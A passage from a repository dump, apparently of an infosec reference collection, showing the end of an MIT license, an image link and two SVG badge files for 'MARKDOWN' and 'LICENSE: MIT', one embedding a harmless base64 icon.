20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/images/10k-xkcd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/images/10k-xkcd.png


--------------------------------------------------------------------------------
/images/Markdown-000000.svg:
--------------------------------------------------------------------------------
1 | <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="123" height="28" role="img" aria-label="MARKDOWN"><title>MARKDOWN</title><g shape-rendering="crispEdges"><rect width="123" height="28" fill="#000000"/></g><g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="100"><image x="9" y="7" width="14" height="14" xlink:href="data:image/svg+xml;base64,PHN2ZyBmaWxsPSJ3aGl0ZSIgcm9sZT0iaW1nIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRpdGxlPk1hcmtkb3duPC90aXRsZT48cGF0aCBkPSJNMjIuMjcgMTkuMzg1SDEuNzNBMS43MyAxLjczIDAgMDEwIDE3LjY1NVY2LjM0NWExLjczIDEuNzMgMCAwMTEuNzMtMS43M2gyMC41NEExLjczIDEuNzMgMCAwMTI0IDYuMzQ1djExLjMwOGExLjczIDEuNzMgMCAwMS0xLjczIDEuNzMxek01Ljc2OSAxNS45MjN2LTQuNWwyLjMwOCAyLjg4NSAyLjMwNy0yLjg4NXY0LjVoMi4zMDhWOC4wNzhoLTIuMzA4bC0yLjMwNyAyLjg4NS0yLjMwOC0yLjg4NUgzLjQ2djcuODQ3ek0yMS4yMzIgMTJoLTIuMzA5VjguMDc3aC0yLjMwN1YxMmgtMi4zMDhsMy40NjEgNC4wMzl6Ii8+PC9zdmc+"/><text transform="scale(.1)" x="715" y="175" textLength="790" fill="#fff" font-weight="bold">MARKDOWN</text></g></svg>


--------------------------------------------------------------------------------
/images/v1.svg:
--------------------------------------------------------------------------------
1 | <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="124.5" height="28" role="img" aria-label="LICENSE: MIT"><title>LICENSE: MIT</title><g shape-rendering="crispEdges"><rect width="75.75" height="28" fill="#555"/><rect x="75.75" width="48.75" height="28" fill="black"/></g><g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="100"><text transform="scale(.1)" x="378.75" y="175" textLength="517.5" fill="#fff">LICENSE</text><text transform="scale(.1)" x="1001.25" y="175" textLength="247.5" fill="#fff" font-weight="bold">MIT</text></g></svg>


--------------------------------------------------------------------------------